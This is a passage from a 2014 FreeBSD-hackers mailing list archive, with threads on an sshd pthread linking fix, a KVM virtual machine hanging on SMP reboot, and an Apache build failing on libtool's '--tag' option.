21:39 +0300 Konstantin Belousov = =20 > wrote: >=20 > > BTW, below is the updated patch with the workaround for sshd issue. > > > > diff --git a/secure/usr.sbin/sshd/Makefile b/secure/usr.sbin/sshd/Makef= ile > > index 4f730a9..b3231a4 100644 > > --- a/secure/usr.sbin/sshd/Makefile > > +++ b/secure/usr.sbin/sshd/Makefile > > @@ -57,6 +57,12 @@ CFLAGS+=3D -DNONE_CIPHER_ENABLED > > DPADD+=3D ${LIBCRYPT} ${LIBCRYPTO} ${LIBZ} > > LDADD+=3D -lcrypt -lcrypto -lz > > > > +# put the threading library last > > +.if ${MK_KERBEROS_SUPPORT} !=3D "no" > > +DPADD+=3D ${LIBPTHREAD} > > +LDADD+=3D -lpthread > > +.endif > > + > > .if defined(LOCALBASE) > > CFLAGS+=3D -DXAUTH_PATH=3D\"${LOCALBASE}/bin/xauth\" > > .endif >=20 > As far as I can see this hasn't been committed to 10/Stable yet? (or=20 > anywhere?) That means anything we build from 10/Stable is still going to= =20 > have this issue - where sshd hangs because "libthr wrapper thr_sighandler= ()=20 > for the signal handlers is not installed as the recepient of the kernel= =20 > signal, which prevents libthr locks for rtld from working properly." It was committed in r265313 to stable/10, and in r265314 to stable/9, although the later was not strictly neccessary. >=20 > This is causing us issues [as well as some other people running other too= ls=20 > - not fixed by this patch] - I would raise a PR - but it's not my patch! = :) >=20 > Thanks, >=20 > -Karl > =20 --DRp5/Sds4nAqvQzf Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTbLUYAAoJEJDCuSvBvK1BUQsP/Auh89YBSkBZZ2vqgD7Fgx/B rxaalguYe5rt4pZSLu08H3JTOyIxXJq3byRgBguwP93dXvGpOjFq/vIvCbc/CayV GvGp+lsHiMA81gqSHt6tvg1La3/ucBDXpNJDTJl90JUxK3IjcBhN5RBusus6WJqw ft3iqdLRwvfSS56ShPRTOVTBbcHe2roIVdeMyiRwDiPKxA/io2hXsWgxfPqUJVrC 5tyzrfHNj3lDopqCpbm4Cy8XofcP6PjdIgR/9rZkjxRBbVDvbXg6YyYkNNbTWzAw EIDk4VMC6WryO4VwIg4uGnXqcAnKXB+Vobx8I0tWkJhZCpGH5doEBOSb/to/qDHB 1ap3WqZK3noPBZL5mhat5kOf4Kec9f1+ruVlrd83injiaTtP3c8nXFG4urG3OXX+ a2XBYb9j7DfgRKgWrJ+Y01sfiqWknRbQWKILhlp4CQK1CpwIz+HnmFmPa2BZ4JHM Nk/gCT9JCD1kVhrAX6CS8LVsDTURGegOXiktvEhg4xo7HVF7yWRWWspu7l3Emnve gI/uHq/hNL38omXH4Y2dqOsgDJ6Fph2RtqbPmOiJrgZ2lrZQJ4moQcfAsYDnZwtW nbvJApVvB+ff4WXzOAbrIFIa51+kPa8FWjT9QD1rFikp09Uq76G14n8nbBermsT6 frK8vQqAPlmjgWqOYlUX =Na74 -----END PGP SIGNATURE----- --DRp5/Sds4nAqvQzf-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 9 11:07:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8F3FAA28; Fri, 9 May 2014 11:07:49 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 31FAC822; Fri, 9 May 2014 11:07:48 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s49B7kML078487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 9 May 2014 12:07:47 +0100 (BST) Date: Fri, 09 May 2014 12:07:46 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <71F1BD66A8E5C5D6139EF867@Mail-PC.tdx.co.uk> In-Reply-To: <20140509105937.GE74331@kib.kiev.ua> References: <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> <20140411183949.GX21331@kib.kiev.ua> <45E85B0B7769CBE623165498@Mail-PC.tdx.co.uk> <20140509105937.GE74331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: Daniel Eischen , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 May 2014 11:07:49 -0000 --On 09 May 2014 13:59 +0300 Konstantin Belousov wrote: > It was committed in r265313 to stable/10, and in r265314 to stable/9, > although the later was not strictly necessary. Apologies all - I obviously need to learn how to use the web svn browser a lot better! :( Regards, -Karl From owner-freebsd-hackers@FreeBSD.ORG Fri May 9 18:42:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id ED346402; Fri, 9 May 2014 18:42:00 +0000 (UTC) Received: from secure.freebsdsolutions.net (secure.freebsdsolutions.net [69.55.234.48]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CAF885EB; Fri, 9 May 2014 18:42:00 +0000 (UTC) Received: from [10.10.1.198] (office.betterlinux.com [199.58.199.60]) (authenticated bits=0) by secure.freebsdsolutions.net (8.14.4/8.14.4) with ESMTP id s49Ifl8s046611 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Fri, 9 May 2014 14:41:48 -0400 (EDT) (envelope-from lists@jnielsen.net) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: consistent VM hang during reboot From: John Nielsen In-Reply-To: Date: Fri, 9 May 2014 12:41:50 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <2CCD4068-A9CB-442C-BB91-ADBF62FF22C6@jnielsen.net> References: <201405081303.17079.jhb@freebsd.org> To: Andrew Duane X-Mailer: Apple Mail (2.1874) X-DCC-x.dcc-servers-Metrics: ns1.jnielsen.net 104; Body=4 Fuz1=4 Fuz2=4 X-Virus-Scanned: clamav-milter 0.97.8 at ns1.jnielsen.net X-Virus-Status: Clean Cc: "freebsd-hackers@freebsd.org" , "freebsd-virtualization@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 May 2014 18:42:01 -0000 On May 8, 2014, at 12:42 PM, Andrew Duane wrote: > From: owner-freebsd-hackers@freebsd.org = [mailto:owner-freebsd-hackers@freebsd.org] On Behalf Of John Nielsen >=20 >> On May 8, 2014, at 11:03 AM, John Baldwin wrote: >>=20 >>> On Wednesday, May 07, 2014 7:15:43 pm John Nielsen wrote: >>>> I am trying to solve a problem with amd64 FreeBSD virtual machines = running on a Linux+KVM hypervisor. To be honest I'm not sure if the = problem is in FreeBSD or=20 >>> the hypervisor, but I'm trying to rule out the OS first. >>>>=20 >>>> The _second_ time FreeBSD boots in a virtual machine with more than = one core, the boot hangs just before the kernel would normally print = e.g. "SMP: AP CPU #1=20 >>> Launched!" (The last line on the console is "usbus0: 12Mbps Full = Speed USB v1.0", but the problem persists even without USB). The VM will = boot fine a first time,=20 >>> but running either "shutdown -r now" OR "reboot" will lead to a hung = second boot. Stopping and starting the host qemu-kvm process is the only = way to continue. >>>>=20 >>>> The problem seems to be triggered by something in the SMP portion = of cpu_reset() (from sys/amd64/amd64/vm_machdep.c). If I hit the virtual = "reset" button the next=20 >>> boot is fine. If I have 'kern.smp.disabled=3D"1"' set for the = initial boot then subsequent boots are fine (but I can only use one CPU = core, of course). However, if I=20 >>> boot normally the first time then set 'kern.smp.disabled=3D"1"' for = the second (re)boot, the problem is triggered. Apparently something in = the shutdown code is=20 >>> "poisoning the well" for the next boot. >>>>=20 >>>> The problem is present in FreeBSD 8.4, 9.2, 10.0 and 11-CURRENT as = of yesterday. >>>>=20 >>>> This (heavy-handed and wrong) patch (to HEAD) lets me avoid the = issue: >>>>=20 >>>> --- sys/amd64/amd64/vm_machdep.c.orig 2014-05-07 = 13:19:07.400981580 -0600 >>>> +++ sys/amd64/amd64/vm_machdep.c 2014-05-07 17:02:52.416783795 = -0600 >>>> @@ -593,7 +593,7 @@ >>>> void >>>> cpu_reset() >>>> { >>>> -#ifdef SMP >>>> +#if 0 >>>> cpuset_t map; >>>> u_int cnt; >>>>=20 >>>> I've tried skipping or disabling smaller chunks of code within the = #if block but haven't found a consistent winner yet. >>>>=20 >>>> I'm hoping the list will have suggestions on how I can further = narrow down the problem, or theories on what might be going on. >>>=20 >>> Can you try forcing the reboot to occur on the BSP (via 'cpuset -l 0 = reboot') >>> or a non-BSP ('cpuset -l 1 reboot') to see if that has any effect? = It might >>> not, but if it does it would help narrow down the code to consider. >>=20 >> Hello jhb, thanks for responding. >>=20 >> I tried your suggestion but unfortunately it does not make any = difference. The reboot hangs regardless of which CPU I assign the = command to. >>=20 >> Any other suggestions? >=20 > When I was doing some early work on some of the Octeon multi-core = chips, I encountered something similar. If I remember correctly, there = was an issue in the shutdown sequence that did not properly halt the = cores and set up the "start jump" vector. So the first core would start, = and when it tried to start the next ones it would hang waiting for the = ACK that they were running (since they didn't have a start vector and = hence never started). I know MIPS, not AMD, so I can't say what the = equivalent would be, but I'm sure there is one. Check that part, setting = up the early state. >=20 > If Juli and/or Adrian are reading this: do you remember anything about = that, something like 2 years ago? That does sound promising, would love more details if anyone can provide = them. Here's another wrinkle: The KVM machine in question is part of a cluster of identical servers = (hardware, OS, software revisions). The problem is present on all = servers in the cluster. I also have access to a second homogenous cluster. The OS and software = revisions on this cluster are identical to the first. The hardware is = _nearly_ identical--slightly different mainboards from the same = manufacturer and slightly older CPUs. The same VMs (identical disk image = and definition, including CPU flags passed to the guest) that have a = problem on the first cluster work flawlessly on this one. Not sure if that means the bad behavior only appears on certain CPUs or = if it's timing-related or something else entirely. I'd welcome = speculation at this point. CPU details below in case it makes a difference. =3D=3D Problem Host =3D=3D model name : Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge = mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe = syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good = nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 = monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 = sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand = lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi = flexpriority ept vpid fsgsbase smep erms =3D=3D Good Host =3D=3D model name : Intel(R) Xeon(R) CPU E5-2650 0 @ 2.00GHz flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge = mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe = syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good = nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 = monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 = sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx lahf_lm ida arat = epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid Thanks, JN From owner-freebsd-hackers@FreeBSD.ORG Fri May 9 21:12:29 2014 Return-Path: Delivered-To: hackers@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8DEB328E for ; Fri, 9 May 2014 21:12:29 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 585766C0 for ; Fri, 9 May 2014 21:12:28 +0000 (UTC) Received: from Julian-MBP3.local (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s49LCOa8018799 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Fri, 9 May 2014 14:12:26 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <536D44B4.3030708@freebsd.org> Date: Sat, 10 May 2014 05:12:20 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: hackers@FreeBSD.ORG Subject: help needed with apache build on FreeBSD (9-ish) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 May 2014 21:12:29 -0000 I've been banging my head agains this for a couple of days now and I'm ready to swallow my pride and look for help :-) For $DAYJOB we have an apache 2.2 installed and for reasons I can't go into it can not be done via a port, so We are doing it manually. The build is done in a chroot, which contains a pretty much standard FreeBSD install of vintage 9.0 (ish). The standard apache build is run in the chroot and if the chroot is on an 8.0 based (real) machine is succeeds. If on the other hand the build is on a 9.1 based or 10.0 based VM. if fails with the following error: gmake[3]: Entering directory `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' gmake[4]: Entering directory `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' libtool --silent --mode=link /usr/bin/gcc -g -O0 -L/usr/local/lib -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la -static maketables.lo get.lo study.lo pcre.lo libtool: link: unable to infer tagged configuration libtool: link: specify a tag with `--tag' gmake[4]: *** [libpcre.la] Error 1 gmake[4]: Leaving directory `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' gmake[3]: *** [install-recursive] Error 1 Now if I go to that directory and run the command EXACTLY as show, I do indeed get that error, but if I run it by hand and as suggested, add "--tag=CC" then it succeeds. to make things more puzzling, the arguments that are run when the same chroot is running in an 8.0 system are slightly different. This also succeeds if I type it in by hand on the 10 based system. libtool --silent --mode=link /usr/bin/gcc -Wall -Wno-unused-parameter -nostdinc -isystem /usr/build/buildroot/tools/x86_gcc4.2.4/us r/include --sysroot /usr/build/buildroot/tools/x86_gcc4.2.4 -g -O0 -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la -static maketables.lo get.lo study.lo pcre.lo I have two questions. 1/ given that apache has a maze of autoconf/libtool/configure files all over the place, many of which are autogenerated, where, in the original distribution would I find a file into which I can add the aforementionned --tag argument, or failing that, is there any environment variable or make argument to teh main build of apache that would result in that getting set.. 2/ does anyone have any idea why one would fail and the other succeed, when it's the same identical chroot (nfs mounted to different machines. I have set the UNAME_xxx variables and confirmed that they are working. The only environment differences in the chroots are the SUDO_USER and USER variables. (1003 vs 1005) Does anyone know how to find out WHY configure is acting different? hte config.lo files show that configure is deciding the same things, and yet, the command lines differ.. the whole -Wall section is missing from the one that fails. Julian (at witts end) From owner-freebsd-hackers@FreeBSD.ORG Fri May 9 21:47:04 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BB4ECE2A; Fri, 9 May 2014 21:47:04 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 667AC9D2; Fri, 9 May 2014 21:47:03 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s49LmX8Q022260; Fri, 9 May 2014 14:48:39 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s49LmS2d022257; Fri, 9 May 2014 14:48:28 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Fri, 9 May 2014 14:48:28 -0700 (PDT) Message-ID: In-Reply-To: <536D44B4.3030708@freebsd.org> References: <536D44B4.3030708@freebsd.org> Date: Fri, 9 May 2014 14:48:28 -0700 (PDT) Subject: Re: help needed with apache build on FreeBSD (9-ish) From: "Chris H" To: "Julian Elischer" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 May 2014 21:47:04 -0000 > I've been banging my head agains this for a couple of days now and I'm > ready to swallow my pride and look for help :-) > > For $DAYJOB we have an apache 2.2 installed and for reasons I can't go > into it can not be done via a port, so We are doing it manually. > > The build is done in a chroot, which contains a pretty much standard > FreeBSD install of vintage 9.0 (ish). > The standard apache build is run in the chroot and if the chroot is on > an 8.0 based (real) machine is succeeds. > If on the other hand the build is on a 9.1 based or 10.0 based VM. if > fails with the following error: > > gmake[3]: Entering directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > gmake[4]: Entering directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > libtool --silent --mode=link /usr/bin/gcc -g -O0 -L/usr/local/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la > -static maketables.lo get.lo study.lo pcre.lo > libtool: link: unable to infer tagged configuration > libtool: link: specify a tag with `--tag' > gmake[4]: *** [libpcre.la] Error 1 > gmake[4]: Leaving directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > gmake[3]: *** [install-recursive] Error 1 > > Now if I go to that directory and run the command EXACTLY as show, I > do indeed get > that error, but if I run it by hand and as suggested, add "--tag=CC" > then it succeeds. > > to make things more puzzling, the arguments that are run when the same > chroot is running in an 8.0 system are slightly different. > This also succeeds if I type it in by hand on the 10 based system. > > libtool --silent --mode=link /usr/bin/gcc -Wall -Wno-unused-parameter > -nostdinc -isystem /usr/build/buildroot/tools/x86_gcc4.2.4/us > r/include --sysroot /usr/build/buildroot/tools/x86_gcc4.2.4 -g -O0 > -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la > -static > maketables.lo get.lo study.lo pcre.lo > > I have two questions. > > 1/ given that apache has a maze of autoconf/libtool/configure files > all over the place, many of which are autogenerated, > where, in the original distribution would I find a file into which I > can add the aforementionned --tag argument, > or failing that, is there any environment variable or make argument to > teh main build of apache that would result in that getting set.. > > 2/ does anyone have any idea why one would fail and the other succeed, > when it's the same identical chroot (nfs mounted to different > machines. I have set the UNAME_xxx variables and confirmed that they > are working. The only environment differences in the chroots are the > SUDO_USER and USER variables. (1003 vs 1005) Does anyone know how to > find out WHY configure is acting different? hte config.lo files show > that configure is deciding the same things, and yet, the command lines > differ.. the whole -Wall section is missing from the one that fails. > > Julian (at witts end) Greetings! OK, I'm no expert. But I DO seem to be somewhat an expert in getting into messes/trouble. That said; given all the errors I've had moving/testing releng_8 v releng_9, the thing that immediately jumped out at me, was CLANG. In other words; is it possible you're 8.x environment is different enough to use (prefer) GCC, to CLANG? OK too wordy; what happens if you try the same thing with the following in your make.conf(5)? FAVORITE_COMPILER=gcc Just a thought. But your reported issue has a familiar sound, and this worked for me. Hope this helps, and good luck! --Chris > > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Fri May 9 21:45:53 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 752D0DF5; Fri, 9 May 2014 21:45:53 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1DF7B9C0; Fri, 9 May 2014 21:45:52 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s49LlFPu022176; Fri, 9 May 2014 14:47:21 -0700 (PDT) (envelope-from bsd-bugs@damnsmallbsd.org) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s49LlA6h022172; Fri, 9 May 2014 14:47:10 -0700 (PDT) (envelope-from bsd-bugs@damnsmallbsd.org) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Fri, 9 May 2014 14:47:10 -0700 (PDT) Message-ID: <4c9f16a6b764b842d3f73d1570eada97.authenticated@ultimatedns.net> In-Reply-To: <536D44B4.3030708@freebsd.org> References: <536D44B4.3030708@freebsd.org> Date: Fri, 9 May 2014 14:47:10 -0700 (PDT) Subject: Re: help needed with apache build on FreeBSD (9-ish) From: "Chris" To: "Julian Elischer" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Mailman-Approved-At: Fri, 09 May 2014 22:17:44 +0000 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 May 2014 21:45:53 -0000 > I've been banging my head agains this for a couple of days now and I'm > ready to swallow my pride and look for help :-) > > For $DAYJOB we have an apache 2.2 installed and for reasons I can't go > into it can not be done via a port, so We are doing it manually. > > The build is done in a chroot, which contains a pretty much standard > FreeBSD install of vintage 9.0 (ish). > The standard apache build is run in the chroot and if the chroot is on > an 8.0 based (real) machine is succeeds. > If on the other hand the build is on a 9.1 based or 10.0 based VM. if > fails with the following error: > > gmake[3]: Entering directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > gmake[4]: Entering directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > libtool --silent --mode=link /usr/bin/gcc -g -O0 -L/usr/local/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la > -static maketables.lo get.lo study.lo pcre.lo > libtool: link: unable to infer tagged configuration > libtool: link: specify a tag with `--tag' > gmake[4]: *** [libpcre.la] Error 1 > gmake[4]: Leaving directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > gmake[3]: *** [install-recursive] Error 1 > > Now if I go to that directory and run the command EXACTLY as show, I > do indeed get > that error, but if I run it by hand and as suggested, add "--tag=CC" > then it succeeds. > > to make things more puzzling, the arguments that are run when the same > chroot is running in an 8.0 system are slightly different. > This also succeeds if I type it in by hand on the 10 based system. > > libtool --silent --mode=link /usr/bin/gcc -Wall -Wno-unused-parameter > -nostdinc -isystem /usr/build/buildroot/tools/x86_gcc4.2.4/us > r/include --sysroot /usr/build/buildroot/tools/x86_gcc4.2.4 -g -O0 > -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la > -static > maketables.lo get.lo study.lo pcre.lo > > I have two questions. > > 1/ given that apache has a maze of autoconf/libtool/configure files > all over the place, many of which are autogenerated, > where, in the original distribution would I find a file into which I > can add the aforementionned --tag argument, > or failing that, is there any environment variable or make argument to > teh main build of apache that would result in that getting set.. > > 2/ does anyone have any idea why one would fail and the other succeed, > when it's the same identical chroot (nfs mounted to different > machines. I have set the UNAME_xxx variables and confirmed that they > are working. The only environment differences in the chroots are the > SUDO_USER and USER variables. (1003 vs 1005) Does anyone know how to > find out WHY configure is acting different? hte config.lo files show > that configure is deciding the same things, and yet, the command lines > differ.. the whole -Wall section is missing from the one that fails. > > Julian (at witts end) Greetings! OK, I'm no expert. But I DO seem to be somewhat an expert in getting into messes/trouble. That said; given all the errors I've had moving/testing releng_8 v releng_9, the thing that immediately jumped out at me, was CLANG. In other words; is it possible you're 8.x environment is different enough to use (prefer) GCC, to CLANG? OK too wordy; what happens if you try the same thing with the following in your make.conf(5)? FAVORITE_COMPILER=gcc Just a thought. But your reported issue has a familiar sound, and this worked for me. Hope this helps, and good luck! --Chris > > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sat May 10 01:33:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E047FA for ; Sat, 10 May 2014 01:33:56 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 1C2B2FB for ; Sat, 10 May 2014 01:33:55 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s4A1XfXQ019432 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 9 May 2014 18:33:44 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <536D81EF.8020501@freebsd.org> Date: Sat, 10 May 2014 09:33:35 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Chris Subject: Re: help needed with apache build on FreeBSD (9-ish) References: <536D44B4.3030708@freebsd.org> <4c9f16a6b764b842d3f73d1570eada97.authenticated@ultimatedns.net> In-Reply-To: <4c9f16a6b764b842d3f73d1570eada97.authenticated@ultimatedns.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 10 May 2014 01:33:56 -0000 On 5/10/14, 5:47 AM, Chris wrote: >> I've been banging my head agains this for a couple of days now and I'm >> ready to swallow my pride and look for help :-) >> >> For $DAYJOB we have an apache 2.2 installed and for reasons I can't go >> into it can not be done via a port, so We are doing it manually. >> >> The build is done in a chroot, which contains a pretty much standard >> FreeBSD install of vintage 9.0 (ish). >> The standard apache build is run in the chroot and if the chroot is on >> an 8.0 based (real) machine is succeeds. >> If on the other 